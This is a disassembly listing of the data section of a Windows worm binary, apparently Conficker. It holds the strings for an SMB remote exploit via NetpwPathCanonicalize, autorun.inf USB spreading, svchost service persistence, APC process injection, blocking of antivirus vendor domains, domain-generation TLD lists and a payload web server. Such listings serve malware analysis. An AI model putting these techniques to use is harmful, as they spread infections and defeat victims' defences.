		dd 41D6ACFFh, 437F4D00h, 437F4D0Fh, 74726563h, 2Eh, 736E6173h
		dd 2Eh,	39746962h, 2Eh,	2E746576h, 0
dword_9A3C30	dd 2E677661h, 0		; DATA XREF: .text:009BA4D4o
dword_9A3C38	dd 2E707661h, 0		; DATA XREF: .text:009BA4D0o
dword_9A3C40	dd 2E6163h		; DATA XREF: .text:009BA4CCo
dword_9A3C44	dd 2E69616Eh, 0		; DATA XREF: .text:009BA4C8o
aWindowsupdate	db 'windowsupdate',0    ; DATA XREF: .text:009BA4C4o
		align 4
aWilderssecurit	db 'wilderssecurity',0  ; DATA XREF: .text:009BA4C0o
aThreatexpert	db 'threatexpert',0     ; DATA XREF: .text:009BA4BCo
		align 4
aCastlecops	db 'castlecops',0       ; DATA XREF: .text:009BA4B8o
		align 4
aSpamhaus	db 'spamhaus',0         ; DATA XREF: .text:009BA4B4o
		align 4
aCpsecure	db 'cpsecure',0         ; DATA XREF: .text:009BA4B0o
		align 10h
aArcabit	db 'arcabit',0          ; DATA XREF: .text:009BA4ACo
aEmsisoft	db 'emsisoft',0         ; DATA XREF: .text:009BA4A8o
		align 4
aSunbelt	db 'sunbelt',0          ; DATA XREF: .text:009BA4A4o
aSecurecomputin	db 'securecomputing',0  ; DATA XREF: .text:009BA4A0o
aRising		db 'rising',0           ; DATA XREF: .text:009BA49Co
		align 4
aPrevx		db 'prevx',0            ; DATA XREF: .text:009BA498o
		align 4
aPctools	db 'pctools',0          ; DATA XREF: .text:009BA494o
aNorman		db 'norman',0           ; DATA XREF: .text:009BA490o
		align 4
aK7computing	db 'k7computing',0      ; DATA XREF: .text:009BA48Co
aIkarus		db 'ikarus',0           ; DATA XREF: .text:009BA488o
		align 10h
aHauri		db 'hauri',0            ; DATA XREF: .text:009BA484o
		align 4
aHacksoft	db 'hacksoft',0         ; DATA XREF: .text:009BA480o
		align 4
aGdata		db 'gdata',0            ; DATA XREF: .text:009BA47Co
		align 4
aFortinet	db 'fortinet',0         ; DATA XREF: .text:009BA478o
		align 4
aEwido		db 'ewido',0            ; DATA XREF: .text:009BA474o
		align 10h
aClamav		db 'clamav',0           ; DATA XREF: .text:009BA470o
		align 4
aComodo		db 'comodo',0           ; DATA XREF: .text:009BA46Co
		align 10h
aQuickheal	db 'quickheal',0        ; DATA XREF: .text:009BA468o
		align 4
aAvira		db 'avira',0            ; DATA XREF: .text:009BA464o
		align 4
aAvast		db 'avast',0            ; DATA XREF: .text:009BA460o
		align 4
aEsafe		db 'esafe',0            ; DATA XREF: .text:009BA45Co
		align 4
aAhnlab		db 'ahnlab',0           ; DATA XREF: .text:009BA458o
		align 4
aCentralcommand	db 'centralcommand',0   ; DATA XREF: .text:009BA454o
		align 4
aDrweb		db 'drweb',0            ; DATA XREF: .text:009BA450o
		align 4
aGrisoft	db 'grisoft',0          ; DATA XREF: .text:009BA44Co
aEset		db 'eset',0             ; DATA XREF: .text:009BA448o
		align 4
aNod32		db 'nod32',0            ; DATA XREF: .text:009BA444o
		align 4
aFProt		db 'f-prot',0           ; DATA XREF: .text:009BA440o
		align 4
aJotti		db 'jotti',0            ; DATA XREF: .text:009BA43Co
		align 4
aKaspersky	db 'kaspersky',0        ; DATA XREF: .text:009BA438o
		align 4
aFSecure	db 'f-secure',0         ; DATA XREF: .text:009BA434o
		align 4
aComputerassoci	db 'computerassociates',0 ; DATA XREF: .text:009BA430o
		align 4
aNetworkassocia	db 'networkassociates',0 ; DATA XREF: .text:009BA42Co
		align 4
aEtrust		db 'etrust',0           ; DATA XREF: .text:009BA428o
		align 4
aPanda		db 'panda',0            ; DATA XREF: .text:009BA424o
		align 4
aSophos		db 'sophos',0           ; DATA XREF: .text:009BA420o
		align 4
aTrendmicro	db 'trendmicro',0       ; DATA XREF: .text:009BA41Co
		align 10h
aMcafee		db 'mcafee',0           ; DATA XREF: .text:009BA418o
		align 4
aNorton		db 'norton',0           ; DATA XREF: .text:009BA414o
		align 10h
aSymantec	db 'symantec',0         ; DATA XREF: .text:009BA410o
		align 4
aMicrosoft	db 'microsoft',0        ; DATA XREF: .text:009BA40Co
		align 4
aDefender	db 'defender',0         ; DATA XREF: .text:009BA408o
		align 4
aRootkit	db 'rootkit',0          ; DATA XREF: .text:009BA404o
aMalware	db 'malware',0          ; DATA XREF: .text:009BA400o
aSpyware	db 'spyware',0          ; DATA XREF: .text:009BA3FCo
aVirus		db 'virus',0            ; DATA XREF: .text:off_9BA3F8o
		align 4
; IID stru_9A3E64
stru_9A3E64	dd 304CE942h		; Data1	; DATA XREF: sub_9A9DE7+1Eo
		dw 6E39h		; Data2
		dw 40D8h		; Data3
		db 94h,	3Ah, 0B9h, 13h,	0C4h, 0Ch, 9Ch,	0D4h; Data4
; IID stru_9A3E74
stru_9A3E74	dd 0F7898AF5h		; Data1	; DATA XREF: sub_9A9DE7+15o
		dw 0CAC4h		; Data2
		dw 4632h		; Data3
		db 0A2h, 0ECh, 0DAh, 6,	0E5h, 11h, 1Ah,	0F2h; Data4
; IID stru_9A3E84
stru_9A3E84	dd 0CA545C6h		; Data1	; DATA XREF: sub_9A9ED0+72o
		dw 37ADh		; Data2
		dw 4A6Ch		; Data3
		db 0BFh, 92h, 9Fh, 76h,	10h, 6,	7Eh, 0F5h; Data4
; IID stru_9A3E94
stru_9A3E94	dd 0E0483BA0h		; Data1	; DATA XREF: sub_9A9ED0+6Ao
		dw 47FFh		; Data2
		dw 4D9Ch		; Data3
		db 0A6h, 0D6h, 77h, 41h, 0D0h, 0B1h, 95h, 0F7h;	Data4
; char a08x08x[]
a08x08x		db '%08x%08x',0         ; DATA XREF: sub_9AA064+74o
		align 10h
stru_9A3EB0	_msEH <0FFFFFFFFh, offset loc_9AA177, offset loc_9AA17B>
					; DATA XREF: sub_9AA0F1+2o
; char aTcp[]
aTcp		db 'TCP',0              ; DATA XREF: sub_9AA18B+A6o
					; sub_9AA320+90o
; char aD[]
aD		db '%d',0               ; DATA XREF: sub_9AA18B+1Co
					; sub_9B644D+11Fo ...
		align 8
stru_9A3EC8	_msEH <0FFFFFFFFh, offset loc_9AA26A, offset loc_9AA26E>
					; DATA XREF: sub_9AA18B+5o
		align 8
stru_9A3ED8	_msEH <0FFFFFFFFh, offset loc_9AA30C, offset loc_9AA310>
					; DATA XREF: sub_9AA27B+5o
; char aU[]
aU		db '%u',0               ; DATA XREF: sub_9AA320+2Ao
					; sub_9AA320+A3o ...
		align 4
stru_9A3EE8	_msEH <0FFFFFFFFh, offset loc_9AA44F, offset loc_9AA453>
					; DATA XREF: sub_9AA320+5o
aHttpWww_getmyi	db 'http://www.getmyip.org',0 ; DATA XREF: .text:009BA4F4o
		align 4
aHttpWww_whatsm	db 'http://www.whatsmyipaddress.com',0 ; DATA XREF: .text:009BA4F0o
aHttpWww_whatis	db 'http://www.whatismyip.org',0 ; DATA XREF: .text:009BA4ECo
		align 4
aHttpCheckip_dy	db 'http://checkip.dyndns.org',0 ; DATA XREF: .text:009BA4E8o
		align 4
; char SubStr[]
SubStr		db 'ip address',0       ; DATA XREF: sub_9AA463+7Eo
		align 10h
stru_9A3F70	_msEH <0FFFFFFFFh, offset loc_9AA55E, offset loc_9AA562>
					; DATA XREF: sub_9AA463+2o
		align 10h
stru_9A3F80	_msEH <0FFFFFFFFh, offset loc_9AA60E, offset loc_9AA612>
					; DATA XREF: sub_9AA572+2o
; char aHttpD_D_D_DDS[]
aHttpD_D_D_DDS	db 'http://%d.%d.%d.%d:%d/%s',0 ; DATA XREF: sub_9AA646+2Ao
					; sub_9AFEDD+3Bo
		align 4
; char aSIpc_0[]
aSIpc_0		db '\\%s\IPC$',0        ; DATA XREF: sub_9AA736+12o
					; sub_9AABAE+12Eo
		align 4
aAaa:					; DATA XREF: sub_9AA799+55o
		unicode	0, <AAA>,0
aS_0		db 'S',0                ; DATA XREF: sub_9AA799+50o
aVivivivi	db 'V‰V‰V‰V‰',0
		align 4
aM		db 'M',0                ; DATA XREF: sub_9AA799+4Bo
aVivi		db 'V‰V‰',0
		align 10h
; unsigned __int8 ProtSeq
ProtSeq		db 'ncacn_np',0         ; DATA XREF: sub_9AA799+1Fo
					; sub_9AA82D+22o
		align 10h
stru_9A3FE0	_msEH <0FFFFFFFFh, offset loc_9AA804, offset loc_9AA812>
					; DATA XREF: sub_9AA799+2o
; unsigned __int8 Endpoint
Endpoint	dd 7069705Ch, 72735C65h, 63767376h, 0 ;	DATA XREF: sub_9AABAE+98o
aHhdhh:					; DATA XREF: sub_9AA82D+7Do
		unicode	0, <HHDHH>,0
asc_9A4008:				; DATA XREF: sub_9AA82D+69o
					; sub_9AA8E9+B7o
		unicode	0, <\>,0
		align 10h
stru_9A4010	_msEH <0FFFFFFFFh, offset loc_9AA8C0, offset loc_9AA8CE>
					; DATA XREF: sub_9AA82D+5o
; unsigned __int8 dword_9A401C
dword_9A401C	dd 7069705Ch, 72625C65h, 6573776Fh, 72h	; DATA XREF: sub_9AA8E9+25Co
dword_9A402C	dd 0B6244A92h, 37F50397h, 0 ; DATA XREF: sub_9AA8E9+234o
a____:					; DATA XREF: sub_9AA8E9+10Do
		unicode	0, <\..\..\>,0
; char aD_D_D_D[]
aD_D_D_D	db '\\%d.%d.%d.%d',0    ; DATA XREF: sub_9AA8E9+21o
		align 4
; char aD_D_D_D_0[]
aD_D_D_D_0	db '%d.%d.%d.%d',0      ; DATA XREF: sub_9AABAE+2Do
; wchar_t a__
a__:					; DATA XREF: sub_9AAD09+1Do
		unicode	0, <\..\>,0
		align 10h
stru_9A4070	_msEH <0FFFFFFFFh, offset loc_9AAD50, offset loc_9AAD54>
					; DATA XREF: sub_9AAD09+2o
		align 10h
stru_9A4080	_msEH <0FFFFFFFFh, offset loc_9AADBC, offset loc_9AADC0>
					; DATA XREF: sub_9AADA0+2o
		align 10h
stru_9A4090	_msEH <0FFFFFFFFh, offset loc_9AAE44, offset loc_9AAE48>
					; DATA XREF: sub_9AAE1D+2o
		align 10h
stru_9A40A0	_msEH <0FFFFFFFFh, offset loc_9AAEFF, offset loc_9AAF03>
					; DATA XREF: sub_9AAE90+5o
		align 10h
stru_9A40B0	_msEH <0FFFFFFFFh, offset loc_9AAF95, offset loc_9AAF99>
					; DATA XREF: sub_9AAF4B+5o
		align 10h
stru_9A40C0	_msEH <0FFFFFFFFh, offset loc_9AB034, offset loc_9AB038>
					; DATA XREF: sub_9AAFE1+5o
		align 10h
stru_9A40D0	_msEH <0FFFFFFFFh, offset loc_9AB11C, offset loc_9AB120>
					; DATA XREF: sub_9AB07D+5o
		align 10h
stru_9A40E0	_msEH <0FFFFFFFFh, 0, offset nullsub_1>	; DATA XREF: sub_9AB130+2o
		align 10h
		_msEH <0FFFFFFFFh, offset loc_9AB285, offset loc_9AB289>
					; DATA XREF: sub_9AB1C8+5o
		align 10h
stru_9A4100	_msEH <0FFFFFFFFh, offset loc_9AB3E8, offset loc_9AB3EC>
					; DATA XREF: sub_9AB2C9+2o
; char dword_9A410C[]
dword_9A410C	dd 6174656Eh, 32336970h, 6C6C642Eh, 0 ;	DATA XREF: sub_9AB47D+Fo
; char aNetpwpathcanon[]
aNetpwpathcanon	db 'NetpwPathCanonicalize',0 ; DATA XREF: sub_9AB47D+Ao
		align 4
; char aNtdll_dll[]
aNtdll_dll	db 'ntdll.dll',0        ; DATA XREF: sub_9AB49A+Fo
					; sub_9ACC9F+B8o ...
		align 10h
; char aNtqueryinforma[]
aNtqueryinforma	db 'NtQueryInformationProcess',0 ; DATA XREF: sub_9AB49A+Ao
					; sub_9ACEC5+8o ...
		align 4
; char aQuery_main[]
aQuery_main	db 'Query_Main',0       ; DATA XREF: sub_9AB4B7+56o
		align 4
; char aDnsquery_w[]
aDnsquery_w	db 'DnsQuery_W',0       ; DATA XREF: sub_9AB4B7+3Fo
		align 4
; char aDnsquery_utf8[]
aDnsquery_utf8	db 'DnsQuery_UTF8',0    ; DATA XREF: sub_9AB4B7+28o
		align 4
; char aDnsapi_dll[]
aDnsapi_dll	db 'dnsapi.dll',0       ; DATA XREF: sub_9AB4B7+13o
		align 10h
; char aDnsquery_a[]
aDnsquery_a	db 'DnsQuery_A',0       ; DATA XREF: sub_9AB4B7+Eo
		align 4
; char aWs2_32_dll[]
aWs2_32_dll	db 'ws2_32.dll',0       ; DATA XREF: sub_9AB535+24o
		align 4
; char aSendto[]
aSendto		db 'sendto',0           ; DATA XREF: sub_9AB535+1Fo
		align 10h
; char ModuleName[]
ModuleName	db 'dnsrslvr.dll',0     ; DATA XREF: sub_9AB535o
		align 10h
; const	WCHAR aSvchost_exeKNe
aSvchost_exeKNe:			; DATA XREF: sub_9AB567:loc_9AB56Ao
		unicode	0, <svchost.exe	-k NetworkService>,0
; char asc_9A41FC[]
asc_9A41FC	db ' ',0                ; DATA XREF: sub_9AB5CF:loc_9AB5E2o
					; sub_9AB6D6:loc_9AB711o
		align 10h
; char asc_9A4200[]
asc_9A4200	db 0Dh,0Ah,0		; DATA XREF: sub_9AB63B:loc_9AB660o
					; sub_9AF7D5+1FCo
		align 4
asc_9A4204:				; DATA XREF: sub_9AB63B:loc_9AB659o
		dw 0Dh
		unicode	0, <>,0
asc_9A4208:				; DATA XREF: sub_9AB63B+17o
		dw 0Ah
		unicode	0, <>,0
; char asc_9A420C[]
asc_9A420C	db ';',0                ; DATA XREF: sub_9AB6D6:loc_9AB723o
		align 10h
; char asc_9A4210[]
asc_9A4210	db '=',0                ; DATA XREF: sub_9AB7A5+7Co
					; sub_9AB855+154o
		align 4
; char asc_9A4214[]
asc_9A4214	db ']',0                ; DATA XREF: sub_9AB7A5+3Ao
					; sub_9AB855+93o
		align 4
asc_9A4218:				; DATA XREF: sub_9AB7A5+Ao
					; sub_9AB855+6Co
		unicode	0, <[>,0
a4_0		db ',4',0               ; DATA XREF: sub_9AB855+1B4o
		align 10h
aSystem32Shell3	db '\system32\shell32.dll',0 ; DATA XREF: sub_9AB855+1A4o
		align 4
aWindir		db '%windir%',0         ; DATA XREF: sub_9AB855+198o
		align 4
aSystemroot	db '%systemroot%',0     ; DATA XREF: sub_9AB855+191o
		align 4
aAutorun	db 'autorun',0          ; DATA XREF: sub_9AB855+80o
aUseautoplay1	db 'useautoplay=1',0    ; DATA XREF: sub_9AB855+3Ao
		align 4
; char aIcon[]
aIcon		db 'icon',0             ; DATA XREF: sub_9AB855+1Eo
					; sub_9AB855:loc_9AB9CEo
		align 4
; char aAction[]
aAction		db 'action',0           ; DATA XREF: sub_9AB855+16o
					; sub_9AB855:loc_9ABA10o
		align 4
aOpen		db 'open',0             ; DATA XREF: sub_9AB855+11o
		align 4
aShellexecute	db 'shellexecute',0     ; DATA XREF: sub_9AB855+7o
		align 4
aRundll32	db 'rundll32',0         ; DATA XREF: sub_9ABA9B+41o
		align 10h
stru_9A42A0	_msEH <0FFFFFFFFh, offset loc_9ABB72, offset loc_9ABB76>
					; DATA XREF: sub_9ABA9B+2o
; char a_SSS_SS[]
a_SSS_SS	db '.\%s\%s\%s.%s,%s',0 ; DATA XREF: sub_9ABB9F+3D8o
		align 10h
; char aSautorun_inf[]
aSautorun_inf	db '%sautorun.inf',0    ; DATA XREF: sub_9ABB9F+345o
		align 10h
; char aSS_1[]
aSS_1		db '%s\%s',0            ; DATA XREF: sub_9ABB9F+27Co
		align 4
; char aSS_0[]
aSS_0		db '%s%s',0             ; DATA XREF: sub_9ABB9F+21Do
		align 10h
; char aSSSS_S[]
aSSSS_S		db '%s%s\%s\%s.%s',0    ; DATA XREF: sub_9ABB9F+1B9o
		align 10h
; char aSDDDDDDDDDDDDD[]
aSDDDDDDDDDDDDD	db 'S-%d-%d-%d-%d%d%d-%d%d%d-%d%d%d-%d',0 ; DATA XREF: sub_9ABB9F+13Eo
		align 4
; char aRecycler[]
aRecycler	db 'RECYCLER',0         ; DATA XREF: sub_9ABB9F+B1o
		align 10h
; char aDll_0[]
aDll_0		db 'dll',0              ; DATA XREF: sub_9ABB9F+86o
		align 8
stru_9A4328	_msEH <0FFFFFFFFh, offset loc_9ABFAA, offset loc_9ABFAE>
					; DATA XREF: sub_9ABB9F+5o
; char aExplorerS[]
aExplorerS	db 'explorer %s',0      ; DATA XREF: sub_9AC1ED+A2o
; char a__0[]
a__0		db '.',0                ; DATA XREF: sub_9AC1ED+8Eo
		align 8
; char aSoftwareMicr_0[]
aSoftwareMicr_0	db 'SOFTWARE\Microsoft\Windows\CurrentVersion\explorer\Advanced\Folde'
					; DATA XREF: sub_9AC1ED+14o
		db 'r\Hidden\SHOWALL',0
		align 4
; char aCheckedvalue[]
aCheckedvalue	db 'CheckedValue',0     ; DATA XREF: sub_9AC1ED+Fo
		align 4
; char aOpenFolderToVi[]
aOpenFolderToVi	db 'Open folder to view files',0 ; DATA XREF: sub_9AC2BE:loc_9AC2FCo
		align 4
; char aShell32_dll[]
aShell32_dll	db 'shell32.dll',0      ; DATA XREF: sub_9AC2BE+7o
; char aKernel32_dll[]
aKernel32_dll	db 'kernel32.dll',0     ; DATA XREF: sub_9AC6A4+18o
					; sub_9ACC9F+5Ao ...
		align 4
; char aThread08xStatu[]
aThread08xStatu	db 'thread: %08x, status: %08x',0Ah,0 ; DATA XREF: sub_9ACC9F+148o
; char aLoadlibraryexa[]
aLoadlibraryexa	db 'LoadLibraryExA',0   ; DATA XREF: sub_9ACC9F+CDo
		align 10h
; char aNtqueueapcthre[]
aNtqueueapcthre	db 'NtQueueApcThread',0 ; DATA XREF: sub_9ACC9F:loc_9ACD52o
		align 4
; char ProcName[]
ProcName	db 'LoadLibraryA',0     ; DATA XREF: sub_9ACC9F+55o
		align 4
; char aNtsetinformati[]
aNtsetinformati	db 'NtSetInformationProcess',0 ; DATA XREF: sub_9ACFF6+24o
		align 10h
stru_9A4450	_msEH <0FFFFFFFFh, offset loc_9AD247, offset loc_9AD24B>
					; DATA XREF: sub_9AD15E+2o
		dd 7073796Dh, 2E656361h, 6D6F63h ; DATA	XREF: .text:009BAAC4o
		dd 2E6E736Dh, 6D6F63h	; DATA XREF: .text:009BAAC0o
					; .text:009BAD34o
		dd 79616265h, 6D6F632Eh, 0 ; DATA XREF:	.text:009BAABCo
dword_9A447C	dd 2E6E6E63h, 6D6F63h	; DATA XREF: .text:009BAAB8o
dword_9A4484	dd 2E6C6F61h, 6D6F63h	; DATA XREF: .text:off_9BAAB4o
; char aHttpWww_S[]
aHttpWww_S	db 'http://www.%s',0    ; DATA XREF: sub_9AD58F+20o
					; sub_9AEC85+2Co
		align 10h
stru_9A44A0	_msEH <0FFFFFFFFh, offset loc_9AD811, offset loc_9AD815>
					; DATA XREF: sub_9AD6D4+2o
		align 10h
stru_9A44B0	_msEH <0FFFFFFFFh, offset loc_9ADA12, offset loc_9ADA16>
					; DATA XREF: sub_9AD8BC+2o
; char aN08x08x08x[]
aN08x08x08x	db 'n%08x%08x%08x',0    ; DATA XREF: sub_9ADA44+A2o
		align 4
; char aW08x08x08x[]
aW08x08x08x	db 'w%08x%08x%08x',0    ; DATA XREF: sub_9ADBF1+310o
					; sub_9ADBF1+4B3o
		align 4
; char aL08x08x08x[]
aL08x08x08x	db 'l%08x%08x%08x',0    ; DATA XREF: sub_9ADBF1+9Co
					; sub_9ADBF1+433o
		align 4
aWindows_0:				; DATA XREF: .text:009BAB18o
		unicode	0, <Windows>,0
aUpdate:				; DATA XREF: .text:009BAB14o
		unicode	0, <Update>,0
		align 4
aUniversal:				; DATA XREF: .text:009BAB10o
		unicode	0, <Universal>,0
aTime:					; DATA XREF: .text:009BAB0Co
		unicode	0, <Time>,0
		align 4
aTask:					; DATA XREF: .text:009BAB08o
		unicode	0, <Task>,0
		align 4
aSystem_0:				; DATA XREF: .text:009BAB04o
		unicode	0, <System>,0
		align 4
aSupport:				; DATA XREF: .text:009BAB00o
		unicode	0, <Support>,0
aShell:					; DATA XREF: .text:009BAAFCo
		unicode	0, <Shell>,0
aServer_0:				; DATA XREF: .text:009BAAF8o
		unicode	0, <Server>,0
		align 4
aSecurity_0:				; DATA XREF: .text:009BAAF4o
		unicode	0, <Security>,0
		align 4
aNetwork:				; DATA XREF: .text:009BAAF0o
		unicode	0, <Network>,0
aMonitor_0:				; DATA XREF: .text:009BAAECo
		unicode	0, <Monitor>,0
aMicrosoft_0:				; DATA XREF: .text:009BAAE8o
		unicode	0, <Microsoft>,0
aManager_0:				; DATA XREF: .text:009BAAE4o
		unicode	0, <Manager>,0
aInstaller:				; DATA XREF: .text:009BAAE0o
		unicode	0, <Installer>,0
aImage:					; DATA XREF: .text:009BAADCo
		unicode	0, <Image>,0
aHelper:				; DATA XREF: .text:009BAAD8o
		unicode	0, <Helper>,0
		align 4
aDriver:				; DATA XREF: .text:009BAAD4o
		unicode	0, <Driver>,0
		align 4
aConfig:				; DATA XREF: .text:009BAAD0o
		unicode	0, <Config>,0
		align 4
aCenter:				; DATA XREF: .text:009BAACCo
		unicode	0, <Center>,0
		align 4
aBoot:					; DATA XREF: .text:009BAAC8o
		unicode	0, <Boot>,0
		align 4
; char aResetsr[]
aResetsr	db 'ResetSR',0          ; DATA XREF: sub_9AE140+22o
; char LibFileName[]
LibFileName	db 'srclient.dll',0     ; DATA XREF: sub_9AE140+Co
		align 10h
stru_9A4650	_msEH <0FFFFFFFFh, offset loc_9AE17B, offset loc_9AE17F>
					; DATA XREF: sub_9AE140+2o
		align 10h
dword_9A4660	dd 0FFFFFFFFh, 9AE375h,	9AE379h, 0 ; DATA XREF:	sub_9AE195+5o
stru_9A4670	_msEH <0FFFFFFFFh, offset loc_9AE464, offset loc_9AE468>
					; DATA XREF: sub_9AE3A4+2o
		align 10h
aSoftwareMicr_1:			; DATA XREF: sub_9AE520+Fo
		unicode	0, <SOFTWARE\Microsoft\Windows NT\CurrentVersion\SvcHost>,0
		align 4
; const	WCHAR aServicedll
aServicedll:				; DATA XREF: sub_9AE641+1B9o
		unicode	0, <ServiceDll>,0
		align 4
; const	WCHAR SubKey
SubKey:					; DATA XREF: sub_9AE641+196o
		unicode	0, <Parameters>,0
		align 4
; const	WCHAR aDescription
aDescription:				; DATA XREF: sub_9AE641+17Eo
		unicode	0, <Description>,0
; const	WCHAR aObjectname
aObjectname:				; DATA XREF: sub_9AE641+163o
		unicode	0, <ObjectName>,0
		align 4
; BYTE Data
Data:					; DATA XREF: sub_9AE641+15Bo
		unicode	0, <LocalSystem>,0
; const	WCHAR aImagepath
aImagepath:				; DATA XREF: sub_9AE641+14Fo
		unicode	0, <ImagePath>,0
; const	WCHAR aErrorcontrol
aErrorcontrol:				; DATA XREF: sub_9AE641+131o
		unicode	0, <ErrorControl>,0
		align 4
; const	WCHAR aStart
aStart:					; DATA XREF: sub_9AE641+117o
		unicode	0, <Start>,0
; const	WCHAR aType
aType:					; DATA XREF: sub_9AE641+FDo
		unicode	0, <Type>,0
		align 4
; const	WCHAR ValueName
ValueName:				; DATA XREF: sub_9AE641+EAo
		unicode	0, <DisplayName>,0
		align 8
aSystemCurrentc:			; DATA XREF: sub_9AE641+60o
		unicode	0, <SYSTEM\CurrentControlSet\Services\>,0
		align 10h
aSystemrootSyst:			; DATA XREF: sub_9AE641+1Co
		unicode	0, <%SystemRoot%\system32\svchost.exe -k >,0
; char aSoftwareMicr_2[]
aSoftwareMicr_2	db 'Software\Microsoft\Windows\CurrentVersion\Run',0
					; DATA XREF: sub_9AE850+19Co
		align 4
; char aRundll32_exe_0[]
aRundll32_exe_0	db 'rundll32.exe "%s",%s',0 ; DATA XREF: sub_9AE850+163o
		align 4
; wchar_t aNetsvcs
aNetsvcs:				; DATA XREF: sub_9AE850+F4o
		unicode	0, <netsvcs>,0
; wchar_t asc_9A48B4
asc_9A48B4:				; DATA XREF: sub_9AE850+A3o
		unicode	0, < >,0
a_biz		db '.biz',0             ; DATA XREF: .text:009BAD8Co
		align 10h
a_info		db '.info',0            ; DATA XREF: .text:009BAD88o
		align 4
a_org		db '.org',0             ; DATA XREF: .text:009BAD84o
		align 10h
a_net		db '.net',0             ; DATA XREF: .text:009BAD80o
		align 4
a_com		db '.com',0             ; DATA XREF: .text:009BAD7Co
		align 10h
a_ws		db '.ws',0              ; DATA XREF: .text:009BAD78o
a_cn		db '.cn',0              ; DATA XREF: .text:009BAD74o
a_cc		db '.cc',0              ; DATA XREF: .text:off_9BAD70o
aDec		db 'Dec',0              ; DATA XREF: .text:009BAD6Co
aNov		db 'Nov',0              ; DATA XREF: .text:009BAD68o
aOct		db 'Oct',0              ; DATA XREF: .text:009BAD64o
aSep		db 'Sep',0              ; DATA XREF: .text:009BAD60o
aAug		db 'Aug',0              ; DATA XREF: .text:009BAD5Co
aJul		db 'Jul',0              ; DATA XREF: .text:009BAD58o
aJun		db 'Jun',0              ; DATA XREF: .text:009BAD54o
aMay		db 'May',0              ; DATA XREF: .text:009BAD50o
aApr		db 'Apr',0              ; DATA XREF: .text:009BAD4Co
aMar		db 'Mar',0              ; DATA XREF: .text:009BAD48o
aFeb		db 'Feb',0              ; DATA XREF: .text:009BAD44o
aJan		db 'Jan',0              ; DATA XREF: .text:009BAD40o
aW3_org		db 'w3.org',0           ; DATA XREF: .text:009BAD3Co
		align 4
aAsk_com	db 'ask.com',0          ; DATA XREF: .text:009BAD38o
aYahoo_com	db 'yahoo.com',0        ; DATA XREF: .text:009BAD30o
		align 4
aGoogle_com	db 'google.com',0       ; DATA XREF: .text:009BAD2Co
		align 4
aBaidu_com	db 'baidu.com',0        ; DATA XREF: .text:off_9BAD28o
		align 10h
; char Delim[]
Delim		db ', ',0               ; DATA XREF: sub_9AEBA1+36o
		align 8
dbl_9A4958	dq 6.26454564e-1	; DATA XREF: sub_9AED54+A6r
; char aHttpSSearch?qD[]
aHttpSSearch?qD	db 'http://%s/search?q=%d',0 ; DATA XREF: sub_9AEE25+15o
		align 4
stru_9A4978	_msEH <0FFFFFFFFh, offset loc_9AF0DF, offset loc_9AF0E3>
					; DATA XREF: sub_9AEECE+5o
		align 8
unk_9A4988	db  81h	; 		; DATA XREF: sub_9AF52D+5Do
		db 2 dup(0), 44h
aCkfdenecfdeffc	db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacacaca	db ' CACACACACACACACACACACACACACACAAA',0
		dd 0
dword_9A49D4	dd 2F000000h, 424D53FFh, 72h, 4	dup(0) ; DATA XREF: sub_9AF52D+A7o
		dd 25C0000h, 0
		dd 2000C00h, 4C20544Eh,	2E30204Dh, 3231h
dword_9A4A08	dd 49000000h, 424D53FFh, 73h, 4	dup(0) ; DATA XREF: sub_9AF52D+EFo
		dd 25C0000h, 0
		dd 0FF0Dh, 2FFFF00h, 25C00h, 2 dup(0)
		dd 1000000h, 0B000000h,	4D000000h, 4C430053h, 544E4549h
		dd 0
; char aUnix[]
aUnix		db 'unix',0             ; DATA XREF: sub_9AF52D:loc_9AF77Co
		align 10h
; char aWindows4_0[]
aWindows4_0	db 'windows 4.0',0      ; DATA XREF: sub_9AF52D:loc_9AF769o
; char aWindows5_0[]
aWindows5_0	db 'windows 5.0',0      ; DATA XREF: sub_9AF52D:loc_9AF757o
; char aWindows5_1[]
aWindows5_1	db 'windows 5.1',0      ; DATA XREF: sub_9AF52D:loc_9AF745o
; char aServicePack2[]
aServicePack2	db 'service pack 2',0   ; DATA XREF: sub_9AF52D:loc_9AF71Bo
		align 4
; char aWindowsServer2[]
aWindowsServer2	db 'windows server 2003',0 ; DATA XREF: sub_9AF52D:loc_9AF6FBo
; char aServicePack[]
aServicePack	db 'service pack',0     ; DATA XREF: sub_9AF52D:loc_9AF6E0o
					; sub_9AF52D:loc_9AF72Do
		align 4
; char aServicePack1[]
aServicePack1	db 'service pack 1',0   ; DATA XREF: sub_9AF52D+19Eo
					; sub_9AF52D+1DCo
		align 4
aVista		db 'vista',0            ; DATA XREF: sub_9AF52D+188o
		align 10h
stru_9A4AD0	_msEH <0FFFFFFFFh, offset loc_9AF796, offset loc_9AF79A>
					; DATA XREF: sub_9AF52D+2o
		dd 676E70h		; DATA XREF: .text:009BADA4o
aJpeg		db 'jpeg',0             ; DATA XREF: .text:009BADA0o
		align 4
dword_9A4AE8	dd 666967h		; DATA XREF: .text:009BAD9Co
dword_9A4AEC	dd 706D62h		; DATA XREF: .text:off_9BAD98o
; char aHttp1_0200OkPr[]
aHttp1_0200OkPr	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_9AF7D5+2DAo
		db 'Pragma: no-cache',0Dh,0Ah
		db 'Content-Length: %u',0Dh,0Ah
		db 'Content-Type: image/%s',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
; char aMacintosh[]
aMacintosh	db 'macintosh',0        ; DATA XREF: sub_9AF7D5+24Bo
		align 10h
; char aLinux[]
aLinux		db 'linux',0            ; DATA XREF: sub_9AF7D5+23Do
		align 4
; char aLwp[]
aLwp		db 'lwp::',0            ; DATA XREF: sub_9AF7D5+22Fo
		align 10h
; char aWget[]
aWget		db 'wget',0             ; DATA XREF: sub_9AF7D5+221o
		align 4
; char aWindowsNt5_[]
aWindowsNt5_	db 'windows nt 5.',0    ; DATA XREF: sub_9AF7D5+213o
		align 4
; char aUserAgent[]
aUserAgent	db 0Dh,0Ah		; DATA XREF: sub_9AF7D5+1E9o
		db 'user-agent:',0
		align 4
; char asc_9A4B88[]
asc_9A4B88	db 0Dh,0Ah		; DATA XREF: sub_9AF7D5:loc_9AF9A6o
		db 0Dh,0
; char aGetSHttp[]
aGetSHttp	db 'get /%s http/',0    ; DATA XREF: sub_9AF7D5+75o
		align 10h
stru_9A4BA0	_msEH <0FFFFFFFFh, offset loc_9AFBE5, offset loc_9AFBE9>
					; DATA XREF: sub_9AF7D5+5o
		align 10h
